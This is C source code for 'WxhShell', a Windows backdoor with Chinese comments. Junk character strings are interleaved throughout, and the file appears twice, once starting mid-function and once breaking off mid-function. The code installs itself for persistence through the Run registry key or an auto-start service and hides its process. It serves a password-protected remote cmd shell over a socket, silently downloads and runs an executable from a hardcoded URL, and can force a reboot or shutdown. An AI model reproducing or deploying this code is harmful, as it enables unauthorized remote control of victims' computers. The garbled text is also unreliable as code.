T#x g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^G[xQcM73 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sNc(aGvy 9AD`,]b if (!NtQueryInformationProcess) return 0; @ H=
d8$ AMG}'P: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^I~2t|} if(!hProcess) return 0; |Up+Kc:z/n
7"2L|fG if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pzbR.L}'D 8V >j-C CloseHandle(hProcess); .mn`/4 NKvBNf|D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dFS>uIT7X if(hProcess==NULL) return 0; +(x^5~QX O%H_._#N` HMODULE hMod; l9lBhltOH char procName[255]; 1 "?KQU unsigned long cbNeeded; x9Fga _ g34<0%6jd if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K]Q#B|_T PEac0rSW CloseHandle(hProcess); ];Z)=y,vM <gF=$u|}3[ if(strstr(procName,"services")) return 1; // 以服务启动 P9p:x6 SUINV_>7 return 0; // 注册表启动 iZ<^p1i } "CLoM\M) ym9Z:2g
// 主模块 Ve*NM|jg int StartWxhshell(LPSTR lpCmdLine) E0!}~Z) { vH%AXzIA SOCKET wsl; <vJPKQ`=: BOOL val=TRUE; K*&M:u6E int port=0; Py$Q]s?\1 struct sockaddr_in door; {YC!pDG $,v
'> if(wscfg.ws_autoins) Install(); GR@!mf +~?ze,Di port=atoi(lpCmdLine); N+ZDQa[ &lbxmUeU if(port<=0) port=wscfg.ws_port; T6h-E^Z ."&,_F WSADATA data; id<i|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SNV~;@(h )Fx"S.Ok if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9] fhH setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M(|Qvh{Q6 door.sin_family = AF_INET; v".q578
0B door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1j0OV9 -| door.sin_port = htons(port); \ZX5dFu0 T]-yTsto if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eQu%TZ(x-$ closesocket(wsl); <f.* =/]W2 return 1; xI}o8G KQq } o(w!x![" k4fc5P if(listen(wsl,2) == INVALID_SOCKET) { .)
uUpY%K^ closesocket(wsl); BZejqDr* return 1; |z\5Ik!fF] } F-[zuYGp Wxhshell(wsl); 7[h_"@_A7 WSACleanup(); XK??5'&{ IROX]f}r ( return 0; 4)0 %^\p QEKSbxL\W } i!+D
,O BLZ#vJR // 以NT服务方式启动 6r!
Y ~\@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4
AZ~<e\ { TP o%zZo DWORD status = 0; :xJ]#
t.. DWORD specificError = 0xfffffff; qX{"R.d
oNQ;9&Z,^2 serviceStatus.dwServiceType = SERVICE_WIN32; wgfA\7Z serviceStatus.dwCurrentState = SERVICE_START_PENDING; R,R[.2Vi serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (;v)0&h serviceStatus.dwWin32ExitCode = 0; oJa6)+b(3 serviceStatus.dwServiceSpecificExitCode = 0; YL-/z4g serviceStatus.dwCheckPoint = 0; Z?X0:WK serviceStatus.dwWaitHint = 0; Mx{VN
P o|Cq#JFG hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OzY55 if (hServiceStatusHandle==0) return; Fd Ezt q9cmtZrm status = GetLastError(); mkgGX|k; if (status!=NO_ERROR) 6hDK;J J& { b?9c\-} serviceStatus.dwCurrentState = SERVICE_STOPPED; o#3?")>| serviceStatus.dwCheckPoint = 0; y_EkW
f serviceStatus.dwWaitHint = 0; uw! serviceStatus.dwWin32ExitCode = status; JwCv(1$GM serviceStatus.dwServiceSpecificExitCode = specificError; u$ [R>l9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); +13h* return; wI.i\S } d]1%/$v^ 2{;&c serviceStatus.dwCurrentState = SERVICE_RUNNING; J$6h%Eyo serviceStatus.dwCheckPoint = 0; AQn>K{M serviceStatus.dwWaitHint = 0; dp`xyBQ3 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %x@
D i`; } >dKK [E/[d b ~DtaGh // 处理NT服务事件,比如:启动、停止 [
[]'U' VOID WINAPI NTServiceHandler(DWORD fdwControl) PN9^ sLx= { u.;zz'| switch(fdwControl) ^kZfE"iE2 { "<o[X ?u case SERVICE_CONTROL_STOP: M
S
3?#b serviceStatus.dwWin32ExitCode = 0; xg=}MoX serviceStatus.dwCurrentState = SERVICE_STOPPED; 2VmQ%y6e" serviceStatus.dwCheckPoint = 0; =B4,H=7Spf serviceStatus.dwWaitHint = 0; piYv}4;:( { OQzJRu)mF# SetServiceStatus(hServiceStatusHandle, &serviceStatus); F*V<L } T=r-6eN return; r=GF*i[3 case SERVICE_CONTROL_PAUSE: q/y4HT,x serviceStatus.dwCurrentState = SERVICE_PAUSED; MuNM)pyxp break; HT]W2^k case SERVICE_CONTROL_CONTINUE: H`u8}{7 serviceStatus.dwCurrentState = SERVICE_RUNNING; ,M2u (9 break; A4LGF case SERVICE_CONTROL_INTERROGATE: Z$qFjWp break; AA][}lU:5 }; Q'-V\G)11 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 50!/% } O7@CAr Eu/~4:XN // 标准应用程序主函数 6k6M&a int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OLXkiesK{ { &qw7BuF ' JHCf // 获取操作系统版本 5
o:VixZf OsIsNt=GetOsVer(); &<I*;z6%t GetModuleFileName(NULL,ExeFile,MAX_PATH); *r!f! eA: { 3``T o$ // 从命令行安装 m87,N~DP if(strpbrk(lpCmdLine,"iI")) Install(); k=w;jX&;` .K?',x // 下载执行文件 TU ]Ed*'& if(wscfg.ws_downexe) { 6#~"~WfPQ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xml@]N*D#E WinExec(wscfg.ws_filenam,SW_HIDE); 49f- u } \s<7!NAE4 :}d`$2Dz if(!OsIsNt) { oI=7X*B9 // 如果时win9x,隐藏进程并且设置为注册表启动 <S~_|Y*v HideProc(); IOA"O9; StartWxhshell(lpCmdLine); p.KX[I } 9hAS#|vK else mv@cGdxu if(StartFromService()) KTn,}7vZ // 以服务方式启动 8
v NgePn StartServiceCtrlDispatcher(DispatchTable); x_9<&Aj6 else *8}Y0V\s // 普通方式启动 =4GJYhj StartWxhshell(lpCmdLine); `|K,E b?Wg|D return 0; 3L/qU^` } =ark?<E (H *-b4]/ "8K>Yu17 R'a%_sACj> =========================================== 2m.RM&TdB H
<CsB i^P@? ZJ(/cD Z=%+U _, * d6[kY " xGbr>OqkTX h&4ufx6 #include <stdio.h> v +-f
pl& #include <string.h> U$a Eby. #include <windows.h> SsA;T5:6 #include <winsock2.h> G yZYP\'S+ #include <winsvc.h> x_1JQDE #include <urlmon.h> I(BG%CO9 51yIW* #pragma comment (lib, "Ws2_32.lib") "sLdkd}dj #pragma comment (lib, "urlmon.lib") ={' "ATX(U ~XGO^P"? #define MAX_USER 100 // 最大客户端连接数 a2W}Wb+ #define BUF_SOCK 200 // sock buffer h"VQFqQy #define KEY_BUFF 255 // 输入 buffer Tk s;,C cT{iMgdI? #define REBOOT 0 // 重启 AoHA+>&U #define SHUTDOWN 1 // 关机 d7N;Fa3yL *D`qcv #define DEF_PORT 5000 // 监听端口 'G6TSl [+$l/dag #define REG_LEN 16 // 注册表键长度 `NA[zH,w3 #define SVC_LEN 80 // NT服务名长度 Cpaeo0Oq Vzy]N6QT{ // 从dll定义API
?7-#iC` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pM~Xh ]/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ];Whvdnv typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JV'd!5P typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /=Ug}%. Q0~5h?V' // wxhshell配置信息 2=ZR}8}9Q: struct WSCFG { Z+ubc"MVb int ws_port; // 监听端口 Cus=UzL char ws_passstr[REG_LEN]; // 口令 KtJE int ws_autoins; // 安装标记, 1=yes 0=no ZWMX!>o< char ws_regname[REG_LEN]; // 注册表键名 WrbDB-uM char ws_svcname[REG_LEN]; // 服务名 J#Fe" char ws_svcdisp[SVC_LEN]; // 服务显示名 }]vj"!?a char ws_svcdesc[SVC_LEN]; // 服务描述信息 }@yvw*c char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +C7
1".i- int ws_downexe; // 下载执行标记, 1=yes 0=no Hxr2Q]c?u char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /R#-mY char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }yqRz6=YB J#*Uf>5NY };
7'FDI`e[ X:-X3mV9{ // default Wxhshell configuration vy/U""w` struct WSCFG wscfg={DEF_PORT, "M6a_rZ2W "xuhuanlingzhe", FW7+!A&F 1, Ff>Y<7CQ
v "Wxhshell", Y0BvN`E "Wxhshell", hM
E|=\
"WxhShell Service", :b>Z|7g ? "Wrsky Windows CmdShell Service", K-wjQ|*1 "Please Input Your Password: ", 1=#r$H 1, $oE 4q6b "http://www.wrsky.com/wxhshell.exe", dgssX9g37 "Wxhshell.exe" o^RdVSkU; }; <mHptgd, L1BpkB // 消息定义模块 ]6OrL
TmP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h7Jo_L7 char *msg_ws_prompt="\n\r? for help\n\r#>"; T~$ePVk>L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HY#7Ctn3 char *msg_ws_ext="\n\rExit."; zcJ]US char *msg_ws_end="\n\rQuit."; G_5sF|(mq char *msg_ws_boot="\n\rReboot..."; OxElvbM# char *msg_ws_poff="\n\rShutdown..."; vVyO}Q` char *msg_ws_down="\n\rSave to "; q" wi.&| !|_
CXm
T| char *msg_ws_err="\n\rErr!"; MIa].S# char *msg_ws_ok="\n\rOK!"; <0P`ct0,i WAY<X:|We char ExeFile[MAX_PATH]; ,2JqX>On>Y int nUser = 0; GQqw(2Ub} HANDLE handles[MAX_USER]; !N$4.slr<p int OsIsNt; =D5@PHpv( p@i U}SUaE SERVICE_STATUS serviceStatus; X2@mQ&n SERVICE_STATUS_HANDLE hServiceStatusHandle; w GZ(bKyO =\4w" /Y // 函数声明 7 g ]]> int Install(void); 7~\Dzcfk"P int Uninstall(void); NOyLZa' int DownloadFile(char *sURL, SOCKET wsh); QXJD'c int Boot(int flag); ZC"6B(d void HideProc(void); ([|5(Omd\ int GetOsVer(void); +^YV>; int Wxhshell(SOCKET wsl); _if&a' void TalkWithClient(void *cs); ?y<n^` int CmdShell(SOCKET sock); 6AUzS4O int StartFromService(void); I#eIm3Y? int StartWxhshell(LPSTR lpCmdLine); R,Zuy(g hD<z^j+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?d+B]VYw VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;YZw{|gsh SJU93n"G/ // 数据结构和表定义 zQ{ Q>"- SERVICE_TABLE_ENTRY DispatchTable[] = ("/*k { $O}gl Q {wscfg.ws_svcname, NTServiceMain}, 1\YX| {NULL, NULL} Ccz:NpK+ }; qjR;c&
q R 8e>;E // 自我安装 8g>jz
8 int Install(void) ~$r^Ur!E\ { W<!q>8Xn? char svExeFile[MAX_PATH]; BCUw"R# HKEY key; H'gPGOd strcpy(svExeFile,ExeFile); lG#&Pv>- K'?ab 0 // 如果是win9x系统,修改注册表设为自启动 bG^eP:r if(!OsIsNt) { Jr17pu(t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /oiAAB27 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JS(KCY 9 RegCloseKey(key); YD@V2gK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tB(Q-c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !c6lP'U RegCloseKey(key); VPN@q<BV return 0; 7/Lbs } czMLvPXRx } bSz6O/A/ } LV8,nTYvE else { 7h&xfrSrD twgU ru // 如果是NT以上系统,安装为系统服务 0?p_|X'_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y2<#%@%4 if (schSCManager!=0) ULU
]k# { #S<>+,Lk SC_HANDLE schService = CreateService }GkEv}~t ( nWXI*%m5 schSCManager, :Hd?0eZ| wscfg.ws_svcname, CWBsiL
f wscfg.ws_svcdisp, ?rBj{]= SERVICE_ALL_ACCESS, 8(3vNuyP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NmB0CbB SERVICE_AUTO_START, fiw~"2U SERVICE_ERROR_NORMAL, B|extWwu svExeFile, z[t$[Qg NULL, ybS7uo NULL, ev8E.ehD NULL, }1R k]$XC NULL, { +C>^b NULL I5x/N. ); &7@6Y{!/
if (schService!=0) ?Fi-,4 { @Wx_4LOhf CloseServiceHandle(schService); TqQ>\h"&_ CloseServiceHandle(schSCManager); 0eQ5LG?) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $ ~D`-+J strcat(svExeFile,wscfg.ws_svcname); Nm,vE7M if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <[~x]- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hlz4f+#I RegCloseKey(key); $wN'mY return 0; :eIBK } m k -"
U7; } "sg$[)I3n CloseServiceHandle(schSCManager); i}wu+<Mk } kdmVHiGF } sgCIY:8 ];uvE? 55 return 1; U Ciq'^, } 1]hMA\x )3..7ht3^5 // 自我卸载 c7iu[vE'+ int Uninstall(void) J=\Y 4- " { iicrRGp3 HKEY key; 9 l,Gd ~!:F'}bj if(!OsIsNt) { ahV_4;yF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (b{
{B$O RegDeleteValue(key,wscfg.ws_regname); {.!:T+'Xi\ RegCloseKey(key); bM-Y4[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }*R"yp RegDeleteValue(key,wscfg.ws_regname); >Mvt;'c RegCloseKey(key); ^2mXXAQf7^ return 0; gcv,]v8 } 1/&j'B } P%/+?(? } *E$D, else { zZf#E@=$| !o.g2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MnX2sX| if (schSCManager!=0) z4f5@ { Y^6=_^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t: [[5];E if (schService!=0) ax3:rl { Q]|+Y0y}X if(DeleteService(schService)!=0) { zM@iG]?kc CloseServiceHandle(schService); 2<988F CloseServiceHandle(schSCManager); qA"?5 j32 return 0; B'
:ZX-Q) } P{}Oe
*9" CloseServiceHandle(schService); 5:s]z#8) } Pu9.Uwx CloseServiceHandle(schSCManager); XkK16aLE } &[Sw:{&*jv } o<g (%ncr )E4COw+ return 1; <=7p~
i5 } IvO3*{k, ,]cd%w9 // 从指定url下载文件 2#E;5UYu int DownloadFile(char *sURL, SOCKET wsh) *=sU+x&X { 1i>)@{P&BN HRESULT hr; ;ib~c, char seps[]= "/"; x`lBG%Y[-v char *token; gq0gr? char *file;
V!Joh5=a char myURL[MAX_PATH]; jWoo{+=D char myFILE[MAX_PATH]; P{qn@: 7P \sn< strcpy(myURL,sURL);
k,@1rOf token=strtok(myURL,seps); C u?$!|V while(token!=NULL) &1?Q]ZRp { qh&K{r*T file=token; 6g.@I!j E token=strtok(NULL,seps); )b-G2< kb } zh4o<f:- snK9']WXo GetCurrentDirectory(MAX_PATH,myFILE);
A{c6XQR~z strcat(myFILE, "\\"); |j!D _j#U strcat(myFILE, file); 4B> l|% send(wsh,myFILE,strlen(myFILE),0); /z'j:~`E send(wsh,"...",3,0); p5[uVRZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +Rh'VZJs if(hr==S_OK) (&gCVf return 0; u(~s$ENl else ,J~1~fg89 return 1; ]':C~-RV{ (%r:PcGMEV } u3<])}I' Z6*RIdD> // 系统电源模块 -Kc-eU-&q int Boot(int flag) |/(5GX,X { r;'!qwr HANDLE hToken; %kUJ:lg;d TOKEN_PRIVILEGES tkp; !*cf}<Kmw FE5R
^W#u- if(OsIsNt) { J\{)qJ*jp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $_ NaxV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D{4
Y:O&J tkp.PrivilegeCount = 1; <T}#>xHs3 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O:U@m@7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \vT8
)\ if(flag==REBOOT) { ^ID%pd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nph{ return 0;
Kr#=u~~M } 6%'{Cq1DE else { mrbIoN==` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K)v(Z" return 0; :{AN@zC0\ } hlVP_h"z } ~W#f,mf else { $K iMu if(flag==REBOOT) { kQb0pfYs if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QxkfP %_g return 0; jsG9{/Ov3 }
[:k'VXL else { _m&VdIPO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,S8Vfb & return 0; ysa"f+/ } 6RF01z|~_ } ENmo^O#,u W`\H3?C`xQ return 1; ~\/ J& } y#MLxm a=J?[qrx // win9x进程隐藏模块 CVUDN2 void HideProc(void) s,}<5N]U { sDF J YU"Am ! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CJC|%i3 if ( hKernel != NULL ) \x+DEy'4;5 { @<2pYIi8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *p-Fn$7\n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }Q%>Fv FreeLibrary(hKernel); L=p.@VSZ } +-Dd*yD6< s=$ 7lYX return; nqH^%/7)A@ }
dOhV`8l -`RJk( // 获取操作系统版本 0{,zE int GetOsVer(void) V.4j?\#% { ZJ4"QsF OSVERSIONINFO winfo; .xx#>Y-\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oaKf{$vg GetVersionEx(&winfo); V":BAn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S ~_% return 1; I45A$nV#Q else {)[i\=,`{ return 0; BOWTH{KR<< } r:q#l~;^ 8iCIs=06 // 客户端句柄模块 <r kW4 int Wxhshell(SOCKET wsl) 5bw]cv$i { T/K.'92S SOCKET wsh; $i1A470C struct sockaddr_in client; \(CW?9) DWORD myID; }.'%gJrS !vB%Q$!x while(nUser<MAX_USER) AWi87q { R',w~1RV' int nSize=sizeof(client); zbR.Lb wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d3$<|mG$ if(wsh==INVALID_SOCKET) return 1; Lr^xp,_ n W>~%6K>p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H>]z=w~ if(handles[nUser]==0) Pjy?&;GvT closesocket(wsh); Mz^s^aJEE else !$?@;}= nUser++; iF0a }
'2tEKVb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cg.e(@( $SXxAS1 return 0; I5A^/=bf& } 10rGA=x'( v;Dcq // 关闭 socket Z:hrrq9 void CloseIt(SOCKET wsh) hq*JQb;Y} { :6/OU9f/R closesocket(wsh); #R8l"]fxr? nUser--; L1xD$wl ExitThread(0); 5:d2q<x:{ } 5{a(
+' vw]nqS~N // 客户端请求句柄 ##@#:B void TalkWithClient(void *cs) 5% `Ul { 8_m9CQ6 i tb{{oxa,k SOCKET wsh=(SOCKET)cs; QT$1D[> char pwd[SVC_LEN]; 55DzBV char cmd[KEY_BUFF]; Vr1|%*0Tv char chr[1]; >l1Yhxd_0* int i,j; IpJ v\zH7 w'0M>2 while (nUser < MAX_USER) { 0%F.]+6[O4 \.a .'l if(wscfg.ws_passstr) { G7;}309s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O-5U|wA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hyKg=Foq //ZeroMemory(pwd,KEY_BUFF); Zsogx}i- i=0; w2+]C&B* while(i<SVC_LEN) { ?<?C*W_ KUut C
: // 设置超时 +I n"OR% fd_set FdRead; W~F/ZrT3A struct timeval TimeOut; a~7osRmp0 FD_ZERO(&FdRead); 1.H!A@ FD_SET(wsh,&FdRead); RG3G},Q TimeOut.tv_sec=8; KaE;4gwM TimeOut.tv_usec=0; bW^QH-t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3x0wk9lND if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yTt (fn:; -C}59G8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BmFME0 pwd=chr[0]; O`jA-t if(chr[0]==0xd || chr[0]==0xa) { j~H`*R=ld# pwd=0; `_A?a_[* break; PJ@ ,01 } *UoHzaIqz i++; "T%'Rp`j| } p.] .M"A AV4HX\`{P0 // 如果是非法用户,关闭 socket cu^*x/0, if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @!/fvP } <57l|}8 /VO@>Hoh send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _0q~s@- send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8{fz0H.<? FqxOHovE while(1) { &]F|U3 ><MgIV ZeroMemory(cmd,KEY_BUFF); Gy6qLM zZc@;S# // 自动支持客户端 telnet标准 Qz(T[H5%W j=0; qetP93N_* while(j<KEY_BUFF) { fsc~$^.~\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DIp:S&q2 cmd[j]=chr[0]; wV&f|JO0+ if(chr[0]==0xa || chr[0]==0xd) { doO
Ap9% cmd[j]=0; <lmJa# break; y6Epi|8 } {dx /p-Tv j++; 0o$HC86w } *.]E+MYi* :2)1vQH0L // 下载文件 6a?$=y if(strstr(cmd,"http://")) { `ab\i`g9 send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y0yO`W4 if(DownloadFile(cmd,wsh)) 5%+bWI{w send(wsh,msg_ws_err,strlen(msg_ws_err),0); pb6^sA%l else `vxrC&,As send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UxcDDa/j2T } JX/4=.. else { _#D\*0J d<Q+D1 switch(cmd[0]) { iynS4]`U EKd3$(^ // 帮助 hJo^Wo case '?': { L^Q+Q)zTh send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d6@jEa- break; #O9*$eMw } k\c &2T]W // 安装 EcU'* case 'i': { -iDEh_pts if(Install()) b({Nf,(a2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NVc!g else
X'#$e{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }\ 939Y break; ]]=-AuV. } U 'CfP9= // 卸载 {pe7]P? case 'r': { HCx%_9xlm if(Uninstall()) 'ztL3(|X6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8gbm "! else B3>Uba*-)} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \l]pe|0EW break; 'y6!%k* } {y&\?'L' // 显示 wxhshell 所在路径 Y%)h)El
case 'p': { @nx}6?p\, char svExeFile[MAX_PATH]; 9Z0CF~Y5 strcpy(svExeFile,"\n\r"); XiRT|%j strcat(svExeFile,ExeFile); C9mzg send(wsh,svExeFile,strlen(svExeFile),0); ;o)=XEh8P break; ]]uzl0LH } >C:"$x2"#( // 重启 `\ef0 case 'b': { }(+=/$C"# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uZo`IK J if(Boot(REBOOT)) c{,y{2c]LT send(wsh,msg_ws_err,strlen(msg_ws_err),0); =X`]Ct8Z else { d{2y/ closesocket(wsh); Im?= e ExitThread(0); tt7PEEf } gVa+.x] break; {\svV
0)~ } -7k|6"EwM // 关机 K$<`4#i case 'd': { 5%QC
][, send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =XMD+ if(Boot(SHUTDOWN)) hJ;f1dZ7} send(wsh,msg_ws_err,strlen(msg_ws_err),0); s!@=rq else { {UdcX~\~ closesocket(wsh); x&R9${e% ExitThread(0); \ W
'i0+ } CGd[3}" break; GJC!0{8; } *(d6Z# // 获取shell s%N` case 's': { Mhv1K|4s CmdShell(wsh); }fJ:wku closesocket(wsh); rnn2u+OG ExitThread(0); {d 1N& break; QiTR-M2C! } FJa[ToZ4+ // 退出 U]V3DDN case 'x': { @V* ju send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~aJW"\{ CloseIt(wsh); YY#s= break; 5u;Rr 1D } !,? <zg // 离开 &RKH2R case 'q': { }uF[Ra send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?W[J[cb closesocket(wsh); Qp kKVLi WSACleanup(); &'5@azU exit(1); t} *l?$` break; q_<*esZ, } +36H%&! } MkG`w, } v8=?HUDd {{V;:+62 // 提示信息 });cX$ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^))PCn_zb } u}K5/hC } pqyWv; aBXYri return; ;cv.f>Cm } zwM"`z :y+B;qw // shell模块句柄 6=ZRn gQ int CmdShell(SOCKET sock) Q`.'-iq { jo9J%vo STARTUPINFO si; `z9)YH ZeroMemory(&si,sizeof(si)); 2d-TU_JqX si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T@;! yz}Pf si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "gXxRHTX PROCESS_INFORMATION ProcessInfo; /=8O&1=D char cmdline[]="cmd"; +
,@ FxZl CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {0is wq'J return 0; &$mZ?%^C } Op`I;Q
#%d W(;x\Nc7 // 自身启动模式 zKIGWH=qqm int StartFromService(void) ;_mgiKHg { ]3n , AHA typedef struct i{o#3 { [Ja)<!]< DWORD ExitStatus; _1I K$gb[ DWORD PebBaseAddress; @%6)^]m}r DWORD AffinityMask; cC^W2\ DWORD BasePriority; r_b8,I6{] ULONG UniqueProcessId; v6wRME;JA ULONG InheritedFromUniqueProcessId; JB&G~7Q85 } PROCESS_BASIC_INFORMATION; y,MPGW_ Z5((1J9 PROCNTQSIP NtQueryInformationProcess; jCU=+b= \Dn&"YG7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B4`2.yRis static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qBT_!
)h
&MCy.(jN HANDLE hProcess; L +L9Y} PROCESS_BASIC_INFORMATION pbi; #v{ Y=$L T"n{WmVQ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -glugVq if(NULL == hInst ) return 0; Rw{$L~\ IikG/8lP g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "hL9f=w g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {DU"]c/S NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q_cC7p6t ~mtTsZc if (!NtQueryInformationProcess) return 0; ~j=xi P 0CT}DQ._^N hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J!rY
6[t if(!hProcess) return 0; ?#d6i$ \I?w)CE@R if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {}V$`L8 7; p4Wg7k} CloseHandle(hProcess); }$l8d/_$[ Ve)ClH/DW hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YPu9Q if(hProcess==NULL) return 0; ?N:B {S G* HMODULE hMod; *D2Nm9sl char procName[255]; t5xb"F
